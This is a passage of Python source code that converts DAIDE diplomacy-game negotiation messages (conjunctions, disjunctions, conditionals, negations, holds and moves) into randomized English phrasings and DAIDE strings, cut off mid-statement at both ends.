win.' elif self.container.operator == 'NAR': if self.container.container.operator == 'PRP': # (PRP (NAR (SLO if self.container.container.container is None: if winnergloss == 'me': self.english = 'I am ' + random.choice(['unsure about a solo win', 'on the fence about a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' elif winnergloss == 'you': self.english = 'You are ' + random.choice(['unsure about a solo win', 'on the fence about a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' else: self.english = winnergloss + ' is ' + random.choice(['unsure about a solo win', 'on the fence about a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' # (YES (PRP (NAR (SLO elif self.container.container.container.operator == 'YES': if winnergloss == 'me': self.english = 'I agree I am ' + random.choice(['unsure about a solo win', 'on the fence about a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' elif winnergloss == 'you': self.english = 'I agree you are ' + random.choice(['unsure about a solo win', 'on the fence about a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' else: self.english = 'I agree ' + winnergloss + ' is ' + random.choice(['unsure about a solo win', 'on the fence about a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' # (REJ (PRP (NAR (SLO elif self.container.container.container.operator == 'REJ': if winnergloss == 'me': self.english = 'I disagree - I am ' + random.choice(['pretty sure about a solo win', 'close to a solo win', 'uncatchable - solo win not far away', 'just a few moves from winning']) + '.' elif winnergloss == 'you': self.english = 'I disagree - you are ' + random.choice(['pretty sure about a solo win', 'close to a solo win', 'uncatchable - solo win not far away', 'just a few moves from winning']) + '.' else: self.english = 'I disagree - ' + winnergloss + ' is ' + random.choice(['pretty sure for a solo win', 'close to a solo win', 'uncatchable - solo win not far away', 'just a few moves from winning']) + '.' # (CCL (PRP (NAR (SLO elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal that ' + \ winnergloss + ' is not clearly capable of a solo win.' # (HUH (PRP (NAR (SLO elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about a solo win.' elif self.container.container.operator == 'FCT': # (FCT (NAR (SLO if self.container.container.container is None: if winnergloss == 'me': self.english = 'It is unclear if I am ' + random.choice(['pretty sure for a solo win', 'close to a solo win', 'uncatchable', 'just a few moves from winning']) + '.' elif winnergloss == 'you': self.english = 'It is unlcear if you are ' + random.choice(['pretty sure for a solo win', 'close to a solo win', 'uncatchable', 'just a few moves from winning']) + '.' else: self.english = 'I it is unlcear if ' + winnergloss + ' is ' + random.choice(['pretty sure for a solo win', 'close to a solo win', 'uncatchable', 'just a few moves from winning']) + '.' # (HUH (FCT (NAR (SLO elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a solo win.' elif self.container.operator == 'FCT': # (FCT (SLO if self.container.container is None: if winnergloss == 'me': self.english = 'I am ' + random.choice(['pretty sure for a solo win', 'close to a solo win', 'uncatchable', 'just a few moves from winning']) + '.' elif winnergloss == 'you': self.english = 'You are ' + random.choice(['pretty sure for a solo win', 'close to a solo win', 'uncatchable', 'just a few moves from winning']) + '.' else: self.english = winnergloss + ' is ' + random.choice(['pretty sure for a solo win', 'close to a solo win', 'uncatchable', 'just a few moves from winning']) + '.' # (HUH (FCT (SLO elif self.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a solo win.' else: self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the DMZ in the context of a sender, recipients and desired tone. :return: the simple English expression :rtype: str """ self.simpleenglish = 'a solo win by ' + helpers.listOfPowers(self.winner, self.utterance.frompower, self.utterance.topowers) return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'SLO (' + self.winner[0] + ')' class PressAnd(PressMessage): """ The game-related content of a conjunction. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) self.conjuncts = [] if thelists is None or len(thelists) == 0: self.operator = 'AND' for cconj in range(0, random.randint(2, 4)): conjword = random.choice(['PCE', 'ALY', 'DMZ', 'SLO', 'DRW', 'XDO', 'NOT', 'NAR']) self.conjuncts.append(randomFactory(utterance, self, conjword)) elif len(thelists) > 1: self.operator = thelists[0] for cConj in range(1, len(thelists)): self.conjuncts.append(messageFactory(utterance, self, thelists[cConj])) def formenglish(self): # type () -> str """ Creates an English expression about the conjunction in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.container.operator == 'PRP': # (PRP (AND if self.container.container is None: self.english = 'I ' + random.choice(['propose', 'request', 'offer']) + \ ' all of the following: ' + self.formsimpleenglish() # (YES (PRP (AND elif self.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree to', 'concur with', 'will accept']) + ' all of the following: ' + self.formsimpleenglish() # (REJ (PRP (AND elif self.container.container.operator == 'REJ': self.english = 'I ' + random.choice(['reject', 'do not concur with', 'do not approve of', 'do not accept']) + \ ' all of the following: ' + self.formsimpleenglish() # (CCL (PRP (AND elif self.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal of the following: ' + self.formsimpleenglish() # (HUH (PRP (AND elif self.container.container.operator == 'HUH': self.english = 'I do not understand your list of proposals.' elif self.container.operator == 'NOT': if self.container.container.operator == 'PRP': # (PRP (NOT (AND if self.container.container.container is None: self.english = 'I do not ' + random.choice(['want', 'desire', 'support']) + ' the following: ' + self.formsimpleenglish() # (YES (PRP (NOT (AND elif self.container.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree', 'concur']) + ' that none of the following are desirable: ' + self.formsimpleenglish() # (REJ (PRP (NOT (AND elif self.container.container.container.operator == 'REJ': self.english = 'I ' + random.choice(['disagree', 'reject']) + ' that none of the following are desirable: ' + self.formsimpleenglish() # (CCL (PRP (NOT (AND elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal rejecting the following: ' + self.formsimpleenglish() # (HUH (PRP (NOT (AND elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your list of proposals.' elif self.container.container.operator == 'FCT': # (FCT (NOT (AND if self.container.container.container is None: self.english = 'The following conditions are not true: ' + self.formsimpleenglish() # (HUH (FCT (NOT (AND elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your list of statements.' elif self.container.operator == 'NAR': if self.container.container.operator == 'PRP': # (PRP (NAR (AND if self.container.container.container is None: self.english = 'I ' + random.choice(['am ambivalent about', 'am unsure about', 'am not convinced of']) + ' the following: ' + self.formsimpleenglish() # (YES (PRP (NAR (AND elif self.container.container.container.operator == 'YES': self.english = 'I am also ' + random.choice(['ambivalent about', 'unsure about', 'not convinced of']) + ' the following: ' + self.formsimpleenglish() # (REJ (PRP (NAR (AND elif self.container.container.container.operator == 'REJ': self.english = 'No, I ' + random.choice(['reject', 'oppose']) + ' your ambivalence about: ' + self.formsimpleenglish() # (CCL (PRP (NAR (AND elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my ambivalence about the following: ' + self.formsimpleenglish() # (HUH (PRP (NAR (AND elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your list of proposals.' elif self.container.container.operator == 'FCT': # (FCT (NAR (AND if self.container.container.container is None: self.english = 'It is unclear if the following are true: ' + self.formsimpleenglish() # (HUH (FCT (NAR (AND elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your list of statements.' elif self.container.operator == 'FCT': # (FCT (AND if self.container.container is None: self.english = 'The following are all true: ' + self.formsimpleenglish() # (HUH (FCT (AND elif self.container.container.operator == 'HUH': self.english = 'I do not understand your list of statements.' else: self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the conjunction in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = '<br><ul>' for curConj in self.conjuncts: self.simpleenglish += '<li>' + helpers.initcap(curConj.formsimpleenglish()) + '</li>' self.simpleenglish += '</ul>' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'AND ' + ' '.join(['(' + curconj.formDAIDE() + ')' for curconj in self.conjuncts]) class PressOr(PressMessage): """ The game-related content of a disjunction. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) self.disjuncts = [] if thelists is None or len(thelists) == 0: self.operator = 'AND' for cdisj in range(0, random.randint(2, 4)): disjword = random.choice(['PCE', 'ALY', 'DMZ', 'SLO', 'DRW', 'XDO', 'NOT', 'NAR']) self.disjuncts.append(randomFactory(utterance, self, disjword)) elif len(thelists) > 1: self.operator = thelists[0] for cDisj in range(1, len(thelists)): self.disjuncts.append(messageFactory(utterance, self, thelists[cDisj])) def formenglish(self): # type () -> str """ Creates an English expression about the disjunction in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.container.operator == 'PRP': # (PRP (ORR if self.container.container is None: self.english = 'I ' + random.choice(['propose', 'request', 'offer']) + \ ' that you choose one of the following options: ' + self.formsimpleenglish() # (YES (PRP (ORR elif self.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree to', 'concur with', 'will accept']) + ' one of the following: ' + self.formsimpleenglish() # (REJ (PRP (ORR elif self.container.container.operator == 'REJ': self.english = 'I ' + random.choice(['reject', 'do not concur with', 'do not approve of', 'do not accept']) + \ ' any of the following: ' + self.formsimpleenglish() # (CCL (PRP (ORR elif self.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal of a choice from the following: ' + self.formsimpleenglish() # (HUH (PRP (ORR elif self.container.container.operator == 'HUH': self.english = 'I do not understand your list of proposals.' elif self.container.operator == 'NOT': if self.container.container.operator == 'PRP': # (PRP (NOT (ORR if self.container.container.container is None: self.english = 'I do not ' + random.choice(['want', 'desire', 'support']) + ' any of the following: ' + self.formsimpleenglish() # (YES (PRP (NOT (ORR elif self.container.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree', 'concur']) + ' that none of the following are desirable: ' + self.formsimpleenglish() # (REJ (PRP (NOT (ORR elif self.container.container.container.operator == 'REJ': self.english = 'I ' + random.choice(['disagree', 'reject']) + ' that none of the following are desirable: ' + self.formsimpleenglish() # (CCL (PRP (NOT (ORR elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal rejecting the following: ' + self.formsimpleenglish() # (HUH (PRP (NOT (ORR elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your list of proposals.' elif self.container.container.operator == 'FCT': # (FCT (NOT (ORR if self.container.container.container is None: self.english = 'One of the following conditions are not true: ' + self.formsimpleenglish() # (HUH (FCT (NOT (ORR elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your list of statements.' elif self.container.operator == 'NAR': if self.container.container.operator == 'PRP': # (PRP (NAR (ORR if self.container.container.container is None: self.english = 'I ' + random.choice(['am ambivalent about', 'am unsure about', 'am not convinced of']) + ' one of the following: ' + self.formsimpleenglish() # (YES (PRP (NAR (ORR elif self.container.container.container.operator == 'YES': self.english = 'I am also ' + random.choice(['ambivalent about', 'unsure about', 'not convinced of']) + ' one the following: ' + self.formsimpleenglish() # (REJ (PRP (NAR (ORR elif self.container.container.container.operator == 'REJ': self.english = 'No, I ' + random.choice(['reject', 'oppose']) + ' your ambivalence about any of the following: ' + self.formsimpleenglish() # (CCL (PRP (NAR (ORR elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my ambivalence about one of the following: ' + self.formsimpleenglish() # (HUH (PRP (NAR (ORR elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your list of proposals.' elif self.container.container.operator == 'FCT': # (FCT (NAR (ORR if self.container.container.container is None: self.english = 'It is unclear if each of the following are true: ' + self.formsimpleenglish() # (HUH (FCT (NAR (ORR elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your list of statements.' elif self.container.operator == 'FCT': # (FCT (ORR if self.container.container is None: self.english = 'One of the following is true: ' + self.formsimpleenglish() # (HUH (FCT (ORR elif self.container.container.operator == 'HUH': self.english = 'I do not understand your list of statements.' else: self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the disjunction in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = '<br><ul>' for curDisj in self.disjuncts: self.simpleenglish += '<li>' + helpers.initcap(curDisj.formsimpleenglish()) + '</li>' self.simpleenglish += '</ul>' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'ORR ' + ' '.join(['(' + curdisj.formDAIDE() + ')' for curdisj in self.disjuncts]) class PressIf(PressMessage): """ The game-related content of a conditional. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'AND' anteword = random.choice(['PCE', 'ALY', 'DMZ', 'SLO', 'DRW', 'XDO', 'NOT', 'NAR']) self.antecedent = randomFactory(utterance, self, anteword) consword = random.choice(['PCE', 'ALY', 'DMZ', 'SLO', 'DRW', 'XDO', 'NOT', 'NAR']) self.consequent = randomFactory(utterance, self, consword) self.alternative = None if random.choice([True, False]): altword = random.choice(['PCE', 'ALY', 'DMZ', 'SLO', 'DRW', 'XDO', 'NOT', 'NAR']) self.alternative = randomFactory(utterance, self, altword) elif len(thelists) == 3: self.operator = thelists[0] self.antecedent = messageFactory(utterance, self, thelists[1]) self.consequent = messageFactory(utterance, self, thelists[2]) self.alternative = None elif len(thelists) == 5: self.operator = thelists[0] self.antecedent = messageFactory(utterance, self, thelists[1]) self.consequent = messageFactory(utterance, self, thelists[2]) self.alternative = messageFactory(utterance, self, thelists[4]) def formenglish(self): # type () -> str """ Creates an English expression about the conditional in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.container.operator == 'PRP': # (PRP (IFF if self.container.container is None: if random.choice([True, False]): self.english = 'Here\'s my ' + random.choice(['proposal', 'proposed deal', 'offer']) + \ ': if ' + self.antecedent.formsimpleenglish() + ', then ' + self.consequent.formsimpleenglish() + '.' else: self.english = 'Would you consider ' + self.consequent.formsimpleenglish() + ' if ' + self.antecedent.formsimpleenglish() + '?' if self.alternative is not None: self.english += ' If not this, then perhaps ' + self.antecedent.formsimpleenglish() + '?' # (YES (PRP (IFF elif self.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree to', 'concur with', 'will accept']) + ' ' + self.antecedent.formsimpleenglish() + \ ' and when it\'s done, I will execute the following: ' + self.consequent.formsimpleenglish() # (REJ (PRP (IFF elif self.container.container.operator == 'REJ': self.english = 'I ' + random.choice(['reject', 'do not concur with', 'do not approve of', 'do not accept']) + \ ' the condition that ' + self.antecedent.formsimpleenglish() + ' should lead to ' + self.consequent.formsimpleenglish() # (CCL (PRP (IFF elif self.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal of ' + \ self.antecedent.formsimpleenglish() + ' for ' + self.consequent.formsimpleenglish() # (HUH (PRP (IFF elif self.container.container.operator == 'HUH': self.english = 'I do not understand your quid pro quo.' elif self.container.operator == 'NOT': if self.container.container.operator == 'PRP': # (PRP (NOT (IFF if self.container.container.container is None: self.english = 'I do not ' + random.choice(['want', 'desire', 'support']) + ' the following trade: ' + \ self.antecedent.formsimpleenglish() + ' for ' + self.consequent.formsimpleenglish() # (YES (PRP (NOT (IFF elif self.container.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree', 'concur']) + ' that the following trade is not desirable: ' + \ self.antecedent.formsimpleenglish() + ' for ' + self.consequent.formsimpleenglish() # (REJ (PRP (NOT (IFF elif self.container.container.container.operator == 'REJ': self.english = 'I still want ' + self.consequent.formsimpleenglish() + ' whether or not you want ' + self.antecedent.formsimpleenglish() # (CCL (PRP (NOT (IFF elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal rejecting ' + \ self.antecedent.formsimpleenglish() + ' for ' + self.consequent.formsimpleenglish() # (HUH (PRP (NOT (IFF elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your trade offer.' elif self.container.container.operator == 'FCT': # (FCT (NOT (IFF if self.container.container.container is None: self.english = 'It is not the case that if ' + self.antecedent.formsimpleenglish() + ', then ' + self.consequent.formsimpleenglish() # (HUH (FCT (NOT (IFF elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about the trade.' elif self.container.operator == 'NAR': if self.container.container.operator == 'PRP': # (PRP (NAR (IFF if self.container.container.container is None: self.english = 'If ' + self.antecedent.formsimpleenglish() + ', then maybe ' + self.consequent.formsimpleenglish() # (YES (PRP (NAR (IFF elif self.container.container.container.operator == 'YES': self.english = 'I agree, it may be that if ' + self.antecedent.formsimpleenglish() + ', then maybe ' + self.consequent.formsimpleenglish() # (REJ (PRP (NAR (IFF elif self.container.container.container.operator == 'REJ': self.english = 'I disagree that if ' + self.antecedent.formsimpleenglish() + ', then maybe ' + self.consequent.formsimpleenglish() # (CCL (PRP (NAR (IFF elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal of ' + \ self.antecedent.formsimpleenglish() + ' for ' + self.consequent.formsimpleenglish() # (HUH (PRP (NAR (IFF elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal of a quid pro quo.' elif self.container.container.operator == 'FCT': # (FCT (NAR (IFF if self.container.container.container is None: self.english = 'It is unclear that if ' + self.antecedent.formsimpleenglish() + ', then ' + self.consequent.formsimpleenglish() # (HUH (FCT (NAR (IFF elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a trade.' elif self.container.operator == 'FCT': # (FCT (IFF if self.container.container is None: self.english = 'I believe that if ' + self.antecedent.formsimpleenglish() + ', then ' + self.consequent.formsimpleenglish() if self.alternative is not None: self.english += ' If not this, then ' + self.antecedent.formsimpleenglish() + '.' # (HUH (FCT (IFF elif self.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a trade.' else: self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the conditional in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = 'if ' + self.antecedent.formsimpleenglish() + ', then ' + self.consequent.formsimpleenglish() if self.alternative is not None: self.simpleenglish += ', otherwise ' + self.alternative.formsimpleenglish() return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ retval = 'IFF ' + '(' + self.antecedent.formDAIDE() + ') (' + self.consequent.formDAIDE() + ')' if self.alternative is not None: retval += ' ELS (' + self.alternative.formDAIDE() + ')' return retval class PressNot(PressMessage): """ The game-related content of a negation. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) self.proposition = PressMessage(utterance, self) if thelists is None or len(thelists) == 0: self.operator = 'NOT' propword = random.choice(['PCE', 'ALY', 'DMZ', 'SLO', 'DRW', 'XDO']) self.proposition = randomFactory(utterance, self, propword) elif len(thelists) == 2: self.operator = thelists[0] self.proposition = messageFactory(utterance, self, thelists[1]) def formenglish(self): # type () -> str """ Creates an English expression about the negation in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.proposition.formenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the negation in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = self.proposition.formsimpleenglish() + ' is not happening' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'NOT ' + '(' + self.proposition.formDAIDE() + ')' class PressNar(PressMessage): """ The game-related content of missing evidence. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) self.proposition = PressMessage(utterance, self) if thelists is None or len(thelists) == 0: self.operator = 'NAR' propword = random.choice(['PCE', 'ALY', 'DMZ', 'SLO', 'DRW', 'XDO']) self.proposition = randomFactory(utterance, self, propword) elif len(thelists) == 2: self.operator = thelists[0] self.proposition = messageFactory(utterance, self, thelists[1]) def formenglish(self): # type () -> str """ Creates an English expression about the missing evidence in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.proposition.formenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the missing evidence in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = 'it is uncertain that ' + self.proposition.formsimpleenglish() return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'NAR ' + '(' + self.proposition.formDAIDE() + ')' class PressMoveExecute(PressMessage): """ The game-related content of an executable move. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'XDO' detword = random.choice(['HLD', 'MTO', 'SUP', 'SUPMTO', 'CVYCTO', 'CVYVIA', 'RTO', 'DSB', 'BLD', 'REM', 'WVE']) self.details = randomFactory(utterance, self, detword) elif len(thelists) == 2: self.operator = thelists[0] self.details = messageFactory(utterance, self, thelists[1]) def formenglish(self): # type () -> str """ Creates an English expression about the executable move in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.container.operator == 'PRP': # (PRP (XDO if self.container.container is None: self.english = 'I ' + random.choice(['propose', 'request', 'demand']) + ' this move: ' + self.details.formsimpleenglish() # (YES (PRP (XDO elif self.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree to', 'concur with', 'accept']) + ' the move: ' + self.details.formsimpleenglish() # (REJ (PRP (XDO elif self.container.container.operator == 'REJ': self.english = 'I ' + random.choice(['reject', 'do not concur with', 'do not approve of']) + ' the move: ' + self.details.formsimpleenglish() # (CCL (PRP (XDO elif self.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal of the move: ' + self.details.formsimpleenglish() # (HUH (PRP (XDO elif self.container.container.operator == 'HUH': self.english = 'I do not understand your move proposal.' elif self.container.operator == 'NOT': if self.container.container.operator == 'PRP': # (PRP (NOT (XDO if self.container.container.container is None: self.english = 'I do not want the following move to happen: ' + self.details.formsimpleenglish() # (YES (PRP (NOT (XDO elif self.container.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree', 'concur']) + ' that this move will not happen: ' + self.details.formsimpleenglish() # (REJ (PRP (NOT (XDO elif self.container.container.container.operator == 'REJ': self.english = 'I do not promise that I won\'t make this move: ' + self.details.formsimpleenglish() # (CCL (PRP (NOT (XDO elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my objection to the move: ' + self.details.formsimpleenglish() # (HUH (PRP (NOT (XDO elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about a move.' elif self.container.container.operator == 'FCT': # (FCT (NOT (XDO if self.container.container.container is None: self.english = 'It is unlikely that this move will occur: ' + self.details.formsimpleenglish() # (HUH (FCT (NOT (XDO elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a move.' elif self.container.operator == 'NAR': if self.container.container.operator == 'PRP': # (PRP (NAR (XDO if self.container.container.container is None: self.english = 'I am not sure about the move: ' + self.details.formsimpleenglish() # (YES (PRP (NAR (XDO elif self.container.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree', 'concur']) + ' that we should be hesitant about the move: ' + self.details.formsimpleenglish() # (REJ (PRP (NAR (XDO elif self.container.container.container.operator == 'REJ': self.english = 'No, I ' + random.choice(['think', 'believe']) + ' that we should be sure about the move: ' + self.details.formsimpleenglish() # (CCL (PRP (NAR (XDO elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my hesitance about the move: ' + self.details.formsimpleenglish() # (HUH (PRP (NAR (XDO elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about a move.' elif self.container.container.operator == 'FCT': # (FCT (NAR (XDO if self.container.container.container is None: self.english = 'It is unclear if this move will happen: ' + self.details.formsimpleenglish() # (HUH (FCT (NAR (XDO elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a move.' elif self.container.operator == 'FCT': # (FCT (XDO if self.container.container is None: self.english = 'This move will happen: ' + self.details.formsimpleenglish() # (HUH (FCT (XDO elif self.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a move.' else: self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the missing evidence in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = self.details.formsimpleenglish() return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'XDO ' + '(' + self.details.formDAIDE() + ')' class PressHold(PressMessage): """ The game-related content of a hold. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'HLD' if random.choice([True, True, False]): if random.choice([True, False]): self.unit = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.unit = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.unit = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] elif len(thelists) == 2: self.operator = thelists[1] self.unit = thelists[0] def formenglish(self): # type () -> str """ Creates an English expression about the hold in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the hold in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.powerdict[self.unit[0]]['Objective'] + \ ' holds their ' + \ helpers.unitdict[self.unit[1]]['Objective'] + \ ' in ' + \ helpers.provincedict[self.unit[2]]['Objective'] + '.' if 'Expert' in self.utterance.tones: unittype = 'A' if self.unit[1] == 'FLT': unittype = 'F' self.simpleenglish += ' (' + unittype + ' ' + self.unit[2] + ' H).' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return '(' + ' '.join(self.unit) + ') HLD' class PressMoveInto(PressMessage): """ The game-related content of a move. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'MTO' if random.choice([True, True, False]): if random.choice([True, False]): self.unit = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.unit = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.unit = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] provlist = [curprov for curprov in helpers.provincelist if curprov != self.unit[2]] self.province = random.choice(provlist) elif len(thelists) == 3: self.operator = thelists[1] self.unit = thelists[0] self.province = thelists[2] def formenglish(self): # type () -> str """ Creates an English expression about the move in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the move in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.powerdict[self.unit[0]]['Objective'] + \ ' moves their ' + \ helpers.unitdict[self.unit[1]]['Objective'] + \ ' from ' + \ helpers.provincedict[self.unit[2]]['Objective'] + \ ' to ' + \ helpers.provincedict[self.province]['Objective'] + '.' if 'Expert' in self.utterance.tones: unittype = 'A' if self.unit[1] == 'FLT': unittype = 'F' self.simpleenglish += ' (' + unittype + ' ' + self.unit[2] + ' -> ' + self.province + ').' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return '(' + ' '.join(self.unit) + ') MTO ' + self.province class PressSupportHold(PressMessage): """ The game-related content of a hold support. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize 